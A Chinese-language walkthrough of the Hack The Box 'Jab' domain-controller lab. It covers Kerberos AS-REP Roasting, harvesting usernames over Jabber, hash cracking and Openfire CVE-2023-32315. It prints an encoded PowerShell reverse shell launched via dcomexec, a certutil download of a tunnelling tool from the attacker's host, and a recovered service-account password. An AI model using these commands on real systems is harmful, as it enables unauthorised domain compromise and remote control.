HTB-Jab
Hack The Box-Jab靶机,官方难度为Medium,主要是域控的一些攻击利用方法、Jabber服务利用以及Openfire的CVE-2023-32315RCE漏洞利用
Nmap扫描
1 | ┌──(kali㉿kali)-[~/box/jab] |
初步看这是一台域控,其中开放了445,5222等端口
整理扫描出来的端口,做进一步扫描
AS-REP Roasting攻击利用
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账户设置“不要求Kerberos预身份验证”选项,而该选项是默认没有勾选上的。Kerberos预身份验证发送在Kerberos身份验证的第一阶段(AS_REQ&AS-REP),它的主要作用是防止密码离线爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。 当关闭了预身份验证后,攻击者可以使用指定用户向域控的88Kerberos端口去请求票据,此时域控不会作任何验证就将TGT认购权证和该用户Hash加密的Login Session Key返回。因此攻击者就可以对获取到的 用户Hash加密的Login Session Key进行离线破解,如果字典足够强大,就能破解得到该指定用户的明文密码
尝试使用kernrute枚举用户
1 | ./kerbrute userenum --dc 10.10.11.4 -d jab.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt |
枚举出太多用户了,先尝试一下AS-REP Roasting攻击
没找到不需要Kerberos预身份验证的用户,之前看到扫描出了5222,5269端口,那就再试试Jabber服务
Jabber服务利用
先安装pidgin
第一次进入,先创建一个用户,协议选择XMPP,在advanced中填写靶机的ip地址,勾选底下的新建账户选项,点击确认创建用户
填写刚刚的用户名信息,注册成功
登录进去可以看看有哪些用户,为再次AS-REP Roasting攻击做准备
*号查询所有用户
可以看到搜索出很多用户,接下来就是把这些用户名导出备用
终端输入以下命令以日志的形式导出,然后重新登陆刚刚的用户,再打开搜索用户列表,搜索完后退出,打开日志查看即可
1 | pidgin -d > pidgin.log |
过滤一下日志信息
1 | grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' pidgin.log | sed 's/@jab.htb//g' | sort | uniq > user |
重新AS-REP Roasting攻击
1 | GetNPUsers.py jab.htb/ -usersfile user -dc-ip 10.10.11.4 -no-pass -outputfile keruser.txt |
找到3条hash值
使用john破解一下,解出jmontgomery的密码
使用此账号密码登录一下Jabber,翻看聊天室,找到一组用户名密码:svc_openfire/!@#$%^&*(1qazxsw
在刚刚的nmap扫描中看到靶机没有开放5985端口,因此不能使用evil-winrm来登录,这里使用dcomexec
1 | dcomexec.py -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'cmd.exe /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAwACIALAAyADIAMgAyACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==' -silentcommand |
拿到Userflag
内网提权
信息收集时看到Openfire的web端9090端口处于开放状态,但是处于内网,于是先代理出来看看有没有可利用的点,这里使用的是chisel
1 | certutil.exe -urlcache -split -f http://10.10.14.10/chisel.exe |
1 | 服务端:./chisel server -p 6666 --reverse |
利用刚刚获取到的用户名密码可以登录成功:svc_openfire/!@#$%^&*(1qazxsw
通过搜索openfire相关漏洞,找到了CVE-2023-32315
漏洞利用项目地址:https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
到openfire上传插件
访问该插件,密码123
执行命令直接是系统权限
再利用系统权限反弹一个shell
得到rootflag